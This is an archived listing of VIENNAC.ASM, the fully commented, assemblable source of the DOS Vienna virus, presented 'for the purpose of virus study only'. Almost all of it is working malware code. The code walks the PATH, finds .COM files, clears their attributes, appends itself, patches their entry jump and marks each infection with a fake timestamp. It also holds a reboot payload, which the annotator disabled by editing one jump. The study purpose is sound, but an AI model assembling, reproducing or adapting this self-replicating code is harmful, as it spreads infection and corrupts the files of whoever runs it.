home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / VIENNAC.ASM < prev    next >
Assembly Source File  |  1987-09-30  |  26KB  |  681 lines

  1. ;*****************************************************************************
  2. ;
  3. ;         *** NOT FOR GENERAL DISTRIBUTION ***     The Vienna Virus
  4. ;
  5. ; This file is for the purpose of virus study only! It should not be passed
  6. ;  around among the general public. It will be very useful for learning
  7. ;  how viruses work and propagate. But anybody with access to an assembler
  8. ;  can turn it into a working virus and anybody with a bit of assembly coding
  9. ;  experience can turn it into a far more malevolent program than it already
  10. ;  is. Keep this code in responsible hands!
  11. ;
  12. ; This program does not check wether or not the .COM file to be infected is
  13. ;  really a .COM file or simply a misnamed .EXE file. DOS does not rely on the
  14. ;  file extension, but does a double-check by looking for a signature that
  15. ;  indicates wether or not a file REALLY is an .EXE file. The virus writer 
  16. ;  apparently did not know this. This virus will take any .EXE file that's 
  17. ;  been renamed to a .COM file and try to infect it, obscuring the signature 
  18. ;  that marks it as an .EXE file. When the infected file is then run, the
  19. ;  virus code will run first, and then the machine will try to run the .EXE
  20. ;  header data as though it were code. This is likely to crash the machine, and
  21. ;  since some later versions of DOS itself contain such misnamed .EXE files,
  22. ;  it's likely to happen.
  23. ;
  24. ;******************************************************************************
  25.  
  26. ;******************************************************************************
  27. ;It seems that MASM won't always willingly translate ordinary assembly code
  28. ; into the byte-for-byte replacement of the code in the Vienna Virus. Since
  29. ; MASM is just a 2 pass assembler, it doesn't always have enough information to
  30. ; figure out the size of an instruction when it needs to. To be safe, it makes
  31. ; its guess on the high side and then adds in unrequested NOPS if it needs to
  32. ; pad out the space it allocated. Many of the NOPs in this virus are the result
  33. ; of this. But the virus writer seems to have done a bit of hand modification
  34. ; to the virus, and as a result, one instance where we'd expect a NOP, there
  35. ; isn't one. This macro allows us to mimic that instance, where an ordinary
  36. ; MOV CX,xx would otherwise have worked fine.
  37. ;******************************************************************************
  38.  
  39. MOV_CX  MACRO   X
  40.         DB      0B9H
  41.         DW      X
  42. ENDM
  43.  
  44.  
  45. CODE    SEGMENT
  46.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  47.         ORG     $+0100H
  48.  
  49. ;*****************************************************************************
  50. ;Start out with a JMP around the remains of the original .COM file, into the
  51. ;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS.
  52. ;The rest of the file (first 3 bytes) are stored in the virus data area.
  53. ;*****************************************************************************
  54.  
  55. VCODE:  JMP     virus
  56.  
  57.  
  58. ;This was the rest  of the original .COM file. Tiny and simple, this time
  59.  
  60.         NOP
  61.         NOP
  62.         NOP
  63.         NOP
  64.         NOP
  65.         NOP
  66.         NOP
  67.         NOP
  68.         NOP
  69.         NOP
  70.         NOP
  71.         NOP
  72.         NOP
  73.         NOP
  74.         NOP
  75.  
  76.  
  77. ;************************************************************
  78. ;              The actual virus starts here
  79. ;************************************************************
  80.  
  81. v_start equ     $
  82.  
  83.  
  84. virus:  PUSH    CX
  85.         MOV     DX,OFFSET vir_dat       ;This is where the virus data starts.
  86.                                         ; The 2nd and 3rd bytes get modified.
  87.         CLD                             ;Pointers will be auto INcremented
  88.         MOV     SI,DX                   ;Access data as offset from SI
  89.         ADD     SI,first_3              ;Point to original 1st 3 bytes of .COM
  90.         MOV     DI,OFFSET 100H          ;`cause all .COM files start at 100H
  91.         MOV     CX,3
  92.         REPZ    MOVSB                   ;Restore original first 3 bytes of .COM
  93.         MOV     SI,DX                   ;Keep SI pointing to the data area
  94.  
  95. ;*************************************************************
  96. ;                   Check the DOS version
  97. ;*************************************************************
  98.  
  99.         MOV     AH,30H
  100.         INT     21H
  101.  
  102.         CMP     AL,0                    ;0 means it's version 1.X
  103.  
  104.         JNZ     dos_ok                  ;For version 2.0 or greater
  105.         JMP     quit                    ;Don't try to infect version 1.X
  106.  
  107.  
  108. ;*************************************************************
  109. ;  Here if the DOS version is high enough for this to work
  110. ;*************************************************************
  111.  
  112. dos_ok: PUSH    ES
  113.  
  114.  
  115. ;*************************************************************
  116. ;               Get DTA address into ES:BX
  117. ;*************************************************************
  118.  
  119.         MOV     AH,2FH
  120.         INT     21H
  121.  
  122. ;*************************************************************
  123. ;                    Save the DTA address
  124. ;*************************************************************
  125.  
  126.  
  127.         MOV     [SI+old_dta],BX
  128.         MOV     [SI+old_dts],ES         ;Save the DTA address
  129.  
  130.         POP     ES
  131.  
  132. ;*************************************************************
  133. ;        Set DTA to point inside the virus data area
  134. ;*************************************************************
  135.  
  136.         MOV     DX,dta                  ;Offset of new DTA in virus data area
  137. ;       NOP                             ;MASM will add this NOP here
  138.         ADD     DX,SI                   ;Compute DTA address
  139.         MOV     AH,1AH
  140.         INT     21H                     ;Set new DTA to inside our own code
  141.  
  142.  
  143.         PUSH    ES
  144.         PUSH    SI
  145.         MOV     ES,DS:2CH
  146.         MOV     DI,0                    ;ES:DI points to environment
  147.  
  148. ;************************************************************
  149. ;        Find the "PATH=" string in the environment
  150. ;************************************************************
  151.  
  152. find_path:
  153.         POP     SI
  154.         PUSH    SI                      ;Get SI back
  155.         ADD     SI,env_str              ;Point to "PATH=" string in data area
  156.         LODSB
  157.         MOV     CX,OFFSET 8000H         ;Environment can be 32768 bytes long
  158.         REPNZ   SCASB                   ;Search for first character
  159.         MOV     CX,4
  160.  
  161. ;************************************************************
  162. ;       Loop to check for the next four characters
  163. ;************************************************************
  164.  
  165. check_next_4:
  166.         LODSB
  167.         SCASB
  168.         JNZ     find_path               ;If not all there, abort & start over
  169.         LOOP    check_next_4            ;Loop to check the next character
  170.  
  171.         POP     SI
  172.         POP     ES
  173.         MOV     [SI+path_ad],DI         ;Save the address of the PATH
  174.         MOV     DI,SI
  175.         ADD     DI,wrk_spc              ;File name workspace
  176.         MOV     BX,SI                   ;Save a copy of SI
  177.         ADD     SI,wrk_spc              ;Point SI to workspace
  178.         MOV     DI,SI                   ;Point DI to workspace
  179.         JMP     SHORT   slash_ok
  180.  
  181.  
  182. ;**********************************************************
  183. ;     Look in the PATH for more subdirectories, if any
  184. ;**********************************************************
  185.  
  186. set_subdir:
  187.         CMP     WORD PTR [SI+path_ad],0 ;Is PATH string ended?
  188.         JNZ     found_subdir            ;If not, there are more subdirectories
  189.         JMP     all_done                ;Else, we're all done
  190.  
  191.  
  192. ;**********************************************************
  193. ;    Here if there are more subdirectories in the path
  194. ;**********************************************************
  195.  
  196. found_subdir:
  197.         PUSH    DS
  198.         PUSH    SI
  199.         MOV     DS,ES:2CH               ;DS points to environment segment
  200.         MOV     DI,SI
  201.         MOV     SI,ES:[DI+path_ad]      ;SI = PATH address
  202.         ADD     DI,wrk_spc              ;DI points to file name workspace
  203.  
  204.  
  205. ;***********************************************************
  206. ;      Move subdirectory name into file name workspace
  207. ;***********************************************************
  208.  
  209. move_subdir:
  210.         LODSB                           ;Get character
  211.         CMP     AL,';'                  ;Is it a ';' delimiter?
  212.         JZ      moved_one               ;Yes, found another subdirectory
  213.         CMP     AL,0                    ;End of PATH string?
  214.         JZ      moved_last_one          ;Yes
  215.         STOSB                           ;Save PATH marker into [DI]
  216.         JMP     SHORT   move_subdir
  217.  
  218. ;******************************************************************
  219. ; Mark the fact that we're looking through the final subdirectory
  220. ;******************************************************************
  221.  
  222. moved_last_one:
  223.         MOV     SI,0
  224.  
  225.  
  226. ;******************************************************************
  227. ;              Here after we've moved a subdirectory
  228. ;******************************************************************
  229.  
  230. moved_one:
  231.         POP     BX                      ;Pointer to virus data area
  232.         POP     DS                      ;Restore DS
  233.         MOV     [BX+path_ad],SI         ;Address of next subdirectory
  234.         NOP
  235.  
  236. ;******************************************************************
  237. ;             Make sure subdirectory ends in a "\"
  238. ;******************************************************************
  239.  
  240.         CMP     CH,'\'                  ;Ends with "\"?
  241.         JZ      slash_ok                ;If yes
  242.         MOV     AL,'\'                  ;Add one, if not
  243.         STOSB
  244.  
  245.  
  246. ;******************************************************************
  247. ;     Here after we know there's a backslash at end of subdir
  248. ;******************************************************************
  249.  
  250. slash_ok:
  251.         MOV     [BX+nam_ptr],DI         ;Set filename pointer to name workspace
  252.         MOV     SI,BX                   ;Restore SI
  253.         ADD     SI,f_spec               ;Point to "*.COM"
  254.         MOV     CX,6
  255.         REPZ    MOVSB                   ;Move "*.COM",0 to workspace
  256.  
  257.         MOV     SI,BX
  258.  
  259.  
  260. ;*******************************************************************
  261. ;                 Find first string matching *.COM
  262. ;*******************************************************************
  263.  
  264.         MOV     AH,4EH
  265.         MOV     DX,wrk_spc
  266. ;       NOP                             ;MASM will add this NOP here
  267.         ADD     DX,SI                   ;DX points to "*.COM" in workspace
  268.         MOV     CX,3                    ;Attributes of Read Only or Hidden OK
  269.         INT     21H
  270.  
  271.         JMP     SHORT   find_first
  272.  
  273.  
  274. ;*******************************************************************
  275. ;              Find next ASCIIZ string matching *.COM
  276. ;*******************************************************************
  277.  
  278. find_next:
  279.         MOV     AH,4FH
  280.         INT     21H
  281.  
  282. find_first:
  283.         JNB     found_file              ;Jump if we found it
  284.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  285.  
  286. ;*******************************************************************
  287. ;                      Here when we find a file
  288. ;*******************************************************************
  289.  
  290. found_file:
  291.         MOV     AX,[SI+dta_tim]         ;Get time from DTA
  292.         AND     AL,1FH                  ;Mask to remove all but seconds
  293.         CMP     AL,1FH                  ;62 seconds -> already infected
  294.         JZ      find_next               ;If so, go find another file
  295.  
  296.         CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
  297.         JA      find_next               ;If too long, find another one
  298.  
  299.         CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
  300.         JB      find_next               ;Then go find another one
  301.  
  302.         MOV     DI,[SI+nam_ptr]         ;DI points to file name
  303.         PUSH    SI                      ;Save SI
  304.         ADD     SI,dta_nam              ;Point SI to file name
  305.  
  306. ;********************************************************************
  307. ;                Move the name to the end of the path
  308. ;********************************************************************
  309.  
  310. more_chars:
  311.         LODSB
  312.         STOSB
  313.         CMP     AL,0
  314.         JNZ     more_chars              ;Move characters until we find a 00
  315.  
  316.  
  317. ;********************************************************************
  318. ;                        Get File Attributes
  319. ;********************************************************************
  320.  
  321.         POP     SI
  322.         MOV     AX,OFFSET 4300H
  323.         MOV     DX,wrk_spc              ;Point to \path\name in workspace
  324. ;       NOP                             ;MASM will add this NOP here
  325.         ADD     DX,SI
  326.         INT     21H
  327.  
  328.  
  329.         MOV     [SI+old_att],CX         ;Save the old attributes
  330.  
  331.  
  332. ;********************************************************************
  333. ;         Rewrite the attributes to allow writing to the file
  334. ;********************************************************************
  335.  
  336.         MOV     AX,OFFSET 4301H         ;Set attributes
  337.         AND     CX,OFFSET 0FFFEH        ;Set all except "read only" (weird)
  338.         MOV     DX,wrk_spc              ;Offset of \path\name in workspace
  339. ;       NOP                             ;MASM will add this NOP here
  340.         ADD     DX,SI                   ;Point to \path\name
  341.         INT     21H
  342.  
  343. ;********************************************************************
  344. ;                Open Read/Write channel to the file
  345. ;********************************************************************
  346.  
  347.         MOV     AX,OFFSET 3D02H         ;Read/Write
  348.         MOV     DX,wrk_spc              ;Offset to \path\name in workspace
  349. ;       NOP                             ;MASM will add this NOP here
  350.         ADD     DX,SI                   ;Point to \path\name
  351.         INT     21H
  352.  
  353.         JNB     opened_ok               ;If file was opened OK
  354.         JMP     fix_attr                ;If it failed, restore the attributes
  355.  
  356.  
  357. ;*******************************************************************
  358. ;                        Get the file date & time
  359. ;*******************************************************************
  360.  
  361. opened_ok:
  362.         MOV     BX,AX
  363.         MOV     AX,OFFSET 5700H
  364.         INT     21H
  365.  
  366.         MOV     [SI+old_tim],CX         ;Save file time
  367.         MOV     [SI+ol_date],DX         ;Save the date
  368.  
  369. ;*******************************************************************
  370. ;                        Get current system time
  371. ;*******************************************************************
  372.  
  373.         MOV     AH,2CH
  374.         INT     21H
  375.  
  376.  
  377.         AND     DH,7                    ;Last 3 bits 0? (once in eight)
  378.  
  379. ;*******************************************************************
  380. ; The following line is a change from the original virus. Originally
  381. ;  the following line would be JNZ seven_in_eight. This would ruin
  382. ;  about 1/8 of all .COM files infected, while the other 7/8 would
  383. ;  be left workable, but infected. For the purpose of studying a
  384. ;  live virus, the changed line is not so damaging.
  385. ;*******************************************************************
  386.         JMP     SHORT   seven_in_eight
  387.  
  388.  
  389. ;*******************************************************************
  390. ; The special "one in eight" infection. If the above line were in
  391. ;  its original form, this code would be run 1/8 of the time, and
  392. ;  rather than appending a copy of this virus to the .COM file, the
  393. ;  file would get 5 bytes of code that reboot the system when the
  394. ;  .COM file is run.
  395. ;*******************************************************************
  396.  
  397.  
  398.         MOV     AH,40H                  ;Write to file
  399.         MOV     CX,5                    ;Five bytes
  400.         MOV     DX,SI
  401.         ADD     DX,reboot               ;Offset of reboot code in data area
  402.         INT     21H
  403.  
  404.         JMP     SHORT   fix_time_stamp
  405.  
  406.         NOP
  407.  
  408.  
  409. ;******************************************************************
  410. ;      Here's where we infect a .COM file with this virus
  411. ;******************************************************************
  412.  
  413. seven_in_eight:
  414.         MOV     AH,3FH
  415.         MOV     CX,3
  416.         MOV     DX,first_3
  417. ;       NOP                     ;MASM will add this NOP here
  418.         ADD     DX,SI
  419.         INT     21H             ;Save first 3 bytes into the data area
  420.  
  421.         JB      fix_time_stamp  ;Quit, if read failed
  422.  
  423.         CMP     AX,3            ;Were we able to read all 3 bytes?
  424.         JNZ     fix_time_stamp  ;Quit, if not
  425.  
  426.  
  427. ;******************************************************************
  428. ;              Move file pointer to end of file
  429. ;******************************************************************
  430.  
  431.         MOV     AX,OFFSET 4202H
  432.         MOV     CX,0
  433.         MOV     DX,0
  434.         INT     21H
  435.  
  436.         JB      fix_time_stamp  ;Quit, if it didn't work
  437.  
  438.         MOV     CX,AX           ;DX:AX (long int) = file size
  439.         SUB     AX,3            ;Subtract 3 (OK, since DX must be 0, here)
  440.         MOV     [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
  441.  
  442.         ADD     CX,OFFSET c_len_y
  443.         MOV     DI,SI           ;Point DI to virus data area
  444.         SUB     DI,OFFSET c_len_x
  445.                                 ;Point DI to reference vir_dat, at start of pgm
  446.         MOV     [DI],CX         ;Modify vir_dat reference:2nd, 3rd bytes of pgm
  447.  
  448.  
  449. ;*******************************************************************
  450. ;                    Write virus code to file
  451. ;*******************************************************************
  452.  
  453.         MOV     AH,40H
  454.  
  455.         MOV_CX  virlen                  ;Length of virus, in bytes
  456.  
  457.         MOV     DX,SI
  458.         SUB     DX,OFFSET codelen       ;Length of virus code, gives starting
  459.                                         ; address of virus code in memory
  460.         INT     21H
  461.  
  462.         JB      fix_time_stamp          ;Jump if error
  463.  
  464.         CMP     AX,OFFSET virlen        ;All bytes written?
  465.         JNZ     fix_time_stamp          ;Jump if error
  466.  
  467.  
  468. ;**********************************************************************
  469. ;                Move file pointer to beginning of the file
  470. ;**********************************************************************
  471.  
  472.         MOV     AX,OFFSET 4200H
  473.         MOV     CX,0
  474.         MOV     DX,0
  475.         INT     21H
  476.  
  477.         JB      fix_time_stamp          ;Jump if error
  478.  
  479.  
  480. ;**********************************************************************
  481. ;              Write the 3 byte JMP at the start of the file
  482. ;**********************************************************************
  483.  
  484.         MOV     AH,40H
  485.         MOV     CX,3
  486.         MOV     DX,SI                   ;Virus data area
  487.         ADD     DX,jmp_op               ;Point to the reconstructed JMP
  488.         INT     21H
  489.  
  490.  
  491. ;**********************************************************************
  492. ;       Restore old file date & time, with seconds modified to 62
  493. ;**********************************************************************
  494.  
  495. fix_time_stamp:
  496.         MOV     DX,[SI+ol_date]         ;Old file date
  497.         MOV     CX,[SI+old_tim]         ;Old file time
  498.         AND     CX,OFFSET 0FFE0H
  499.         OR      CX,1FH                  ;Seconds = 31/30 min = 62 seconds
  500.         MOV     AX,OFFSET 5701H
  501.         INT     21H
  502.  
  503.  
  504. ;**********************************************************************
  505. ;                              Close File
  506. ;**********************************************************************
  507.  
  508.         MOV     AH,3EH
  509.         INT     21H
  510.  
  511.  
  512. ;**********************************************************************
  513. ;                     Restore Old File Attributes
  514. ;**********************************************************************
  515.  
  516. fix_attr:
  517.         MOV     AX,OFFSET 4301H
  518.         MOV     CX,[SI+old_att]         ;Old Attributes
  519.         MOV     DX,wrk_spc
  520. ;       NOP                             ;MASM will add this NOP
  521.         ADD     DX,SI                   ;DX points to \path\name in workspace
  522.         INT     21H
  523.  
  524.  
  525. ;**********************************************************************
  526. ;              Here when it's time to close it up & end
  527. ;**********************************************************************
  528.  
  529. all_done:
  530.         PUSH    DS
  531.  
  532.  
  533. ;**********************************************************************
  534. ;                         Restore old DTA
  535. ;**********************************************************************
  536.  
  537.         MOV     AH,1AH
  538.         MOV     DX,[SI+old_dta]
  539.         MOV     DS,[SI+old_dts]
  540.         INT     21H
  541.  
  542.         POP     DS
  543.  
  544.  
  545. ;*************************************************************************
  546. ; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
  547. ;  in since the address in a real JMP 100 is an offset, and the offset
  548. ;  varies from one infected file to the next. By PUSHing an 0100H onto the
  549. ;  stack, we can RET to address 0100H just as though we JMPed there.
  550. ;**********************************************************************
  551.  
  552. quit:
  553.         POP     CX
  554.         XOR     AX,AX
  555.         XOR     BX,BX
  556.         XOR     DX,DX
  557.         XOR     SI,SI
  558.         MOV     DI,OFFSET 0100H
  559.         PUSH    DI
  560.         XOR     DI,DI
  561.  
  562.         RET     0FFFFH
  563.  
  564. ;************************************************************************
  565. ;The virus data starts here. It's accessed off the SI register, per the
  566. ; comments as shown
  567. ;************************************************************************
  568.  
  569. vir_dat EQU     $
  570.  
  571.  
  572.         ;Use this with (SI + old_dta)
  573. olddta_ DW      0                       ;Old DTA offset
  574.  
  575.         ;Use this with (SI + old_dts)
  576. olddts_ DW      0                       ;Old DTA segment
  577.  
  578.         ;Use this with (SI + old_tim)
  579. oldtim_ DW      0                       ;Old Time
  580.  
  581.         ;Use this with (SI + ol_date)
  582. oldate_ DW      0                       ;Old date
  583.  
  584.         ;Use this with (SI + old_att)
  585. oldatt_ DW      0                       ;Old file attributes
  586.  
  587.  
  588.  
  589. ;Here's where the first three bytes of the original .COM file go.(SI + first_3)
  590.  
  591. first3_ EQU     $
  592.         INT     20H
  593.         NOP
  594.  
  595.  
  596.  
  597. ;Here's where the new JMP instruction is worked out
  598.  
  599.         ;Use this with (SI + jmp_op)
  600. jmpop_  DB      0E9H                    ;Start of JMP instruction
  601.  
  602.         ;Use this with (SI + jmp_dsp)
  603. jmpdsp_ DW      0                       ;The displacement part
  604.  
  605.  
  606.  
  607. ;This is the type of file  we're looking to infect. (SI + f_spec)
  608.  
  609. fspec_  DB      '*.COM',0
  610.  
  611.         ;Use this with (SI + path_ad)
  612. pathad_ DW      0                       ;Path address
  613.  
  614.         ;Use this with (SI + nam_ptr)
  615. namptr_ DW      0                       ;Pointer to start of file name
  616.  
  617.         ;Use this with (SI + env_str)
  618. envstr_ DB      'PATH='                 ;Find this in the environment
  619.  
  620.         ;File name workspace (SI + wrk_spc)
  621. wrkspc_ DB      40h dup (0)
  622.  
  623.         ;Use this with (SI + dta)
  624. dta_    DB      16h dup (0)             ;Temporary DTA goes here
  625.  
  626.         ;Use this with (SI + dta_tim)
  627. dtatim_ DW      0,0                     ;Time stamp in DTA
  628.  
  629.         ;Use this with (SI + dta_len)
  630. dtalen_ DW      0,0                     ;File length in the DTA
  631.  
  632.         ;Use this with (SI + dta_nam)
  633. dtanam_ DB      0Dh dup (0)             ;File name in the DTA
  634.  
  635.         ;Use this with (SI + reboot)
  636. reboot_ DB      0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
  637.  
  638.  
  639. lst_byt EQU     $                       ;All lines that assemble into code are
  640.                                         ;  above this one
  641.  
  642.  
  643. ;*****************************************************************************
  644. ;The virus needs to know a few details about its own size and the size of its
  645. ; code portion. Let the assembler figure out these sizes automatically.
  646. ;*****************************************************************************
  647.  
  648. virlen  =       lst_byt - v_start       ;Length, in bytes, of the entire virus
  649. codelen =       vir_dat - v_start       ;Length of virus code, only
  650. c_len_x =       vir_dat - v_start - 2   ;Displacement for self-modifying code
  651. c_len_y =       vir_dat - v_start + 100H ;Code length + 100h, for PSP
  652.  
  653.  
  654. ;*****************************************************************************
  655. ;Because this code is being appended to the end of an executable file, the
  656. ; exact address of its variables cannot be known. All are accessed as offsets
  657. ; from SI, which is represented as vir_dat in the below declarations.
  658. ;*****************************************************************************
  659.  
  660. old_dta =       olddta_ - vir_dat       ;Displacement to the old DTA offset
  661. old_dts =       olddts_ - vir_dat       ;Displacement to the old DTA segment
  662. old_tim =       oldtim_ - vir_dat       ;Displacement to old file time stamp
  663. ol_date =       oldate_ - vir_dat       ;Displacement to old file date stamp
  664. old_att =       oldatt_ - vir_dat       ;Displacement to old attributes
  665. first_3 =       first3_ - vir_dat       ;Displacement-1st 3 bytes of old .COM
  666. jmp_op  =       jmpop_  - vir_dat       ;Displacement to the JMP opcode
  667. jmp_dsp =       jmpdsp_ - vir_dat       ;Displacement to the 2nd 2 bytes of JMP
  668. f_spec  =       fspec_  - vir_dat       ;Displacement to the "*.COM" string
  669. path_ad =       pathad_ - vir_dat       ;Displacement to the path address
  670. nam_ptr =       namptr_ - vir_dat       ;Displacement to the filename pointer
  671. env_str =       envstr_ - vir_dat       ;Displacement to the "PATH=" string
  672. wrk_spc =       wrkspc_ - vir_dat       ;Displacement to the filename workspace
  673. dta     =       dta_    - vir_dat       ;Displacement to the temporary DTA
  674. dta_tim =       dtatim_ - vir_dat       ;Displacement to the time in the DTA
  675. dta_len =       dtalen_ - vir_dat       ;Displacement to the length in the DTA
  676. dta_nam =       dtanam_ - vir_dat       ;Displacement to the name in the DTA
  677. reboot  =       reboot_ - vir_dat       ;Displacement to the 5 byte reboot code
  678.  
  679.         CODE    ENDS
  680. END     VCODE
  681.